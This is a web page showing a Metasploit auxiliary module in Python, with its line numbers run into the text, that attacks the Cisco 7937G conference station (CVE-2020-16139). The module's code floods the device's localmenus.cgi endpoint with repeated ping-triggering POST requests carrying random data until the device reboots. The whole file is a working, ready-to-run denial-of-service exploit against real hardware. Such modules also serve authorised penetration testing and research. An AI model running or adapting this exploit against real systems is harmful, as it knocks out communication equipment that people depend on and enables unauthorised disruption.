Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py
Views: 11784
#!/usr/bin/env python31# -*- coding: utf-8 -*-23# standard modules4from metasploit import module5import logging67# extra modules8requests_missing = False9random_missing = False10string_missing = False1112try:13import requests14except ImportError:15requests_missing = True16try:17import random18except ImportError:19random_missing = True20try:21import string22except ImportError:23string_missing = True2425metadata = {26'name': 'Cisco 7937G Denial-of-Service Reboot Attack',27'description': '''28This module exploits a bug in how the conference station handles29executing a ping via its web interface. By repeatedly executing30the ping function without clearing out the resulting output,31a DoS is caused that will reset the device after a few minutes.32''',33'authors': [34'Cody Martin'35# Author Homepage: debifrank.github.io36# Organization: BlackLanternSecurity37# Org. Homepage: BlackLanternSecurity.com38],39'date': '2020-06-02',40'license': 'GPL_LICENSE',41'references': [42{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},43{'type': 'cve', 'ref': '2020-16139'}44],45'type': 'dos',46'options': {47'rhost': {'type': 'address',48'description': 'Target address',49'required': True,50'default': 'None'}51}52}5354def run(args):55module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))56if requests_missing:57logging.error('Required Python module dependency (requests) is missing.')58logging.error('Please execute pip3 install requests.')59return60if random_missing:61logging.error('Required Python module dependency (random) is missing.')62logging.error('Please execute pip3 install random.')63if string_missing:64logging.error('Required Python module dependency (string) is missing.')65logging.error('Please execute pip3 install string.')6667url = "http://{}/localmenus.cgi".format(args['rhost'])68data = ''.join(random.choice(string.ascii_letters) for i in range(46))69payload = {"func": "609", "data": data, "rphl": "1"}70logging.info("Sending POST requests triggering the PING function.")71logging.info("Device should crash with a DoS shortly...")72for i in range(1000):73try:74r = requests.post(url=url, params=payload, timeout=5)75if r.status_code != 200:76logging.error("Device doesn't appear to be functioning or web access is not enabled.")77return78except requests.exceptions.ReadTimeout as e:79logging.info('DoS reset attack completed!')80return81except requests.exceptions.RequestException as e:82logging.info('An unexpected exception occurred: ' + str(e))83logging.info('The device may be DoS\'d already or not have web access enabled.')84return858687if __name__ == '__main__':88module.run(metadata, run)899091